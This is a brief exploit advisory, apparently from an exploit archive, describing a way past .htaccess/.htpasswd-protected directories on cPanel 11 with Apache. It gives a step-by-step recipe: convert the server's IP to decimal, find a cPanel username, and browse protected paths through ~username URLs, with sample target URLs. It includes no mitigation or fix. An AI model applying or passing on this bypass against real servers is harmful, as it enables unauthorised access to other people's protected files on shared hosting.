Cpanel and Apache by-pass protected directory

 Software : Cpanel & Apache
Type of vunlnerability : Protected Directory Traversal & Gain Access Files
Tested On : Cpanel 11
Risk of use : High


Discovered by : dinhcaohack
Team Website : http://vniss.net
Exploit

Code:

1. Convert IP: calculate ( (first octet * 2^24) + (second octet *2^16)
+ (third octet * 2^8) + (fourth octet) ).
So we have 65.60.10.2 is 1094453762.
2. Find exact username like : xgroup
3. Access protected directories and files (by .htaccess & .htpasswd) on browser:
http://1094453762/~xgroup/protect/
http://1094453762/~target/protect/index.php
etc.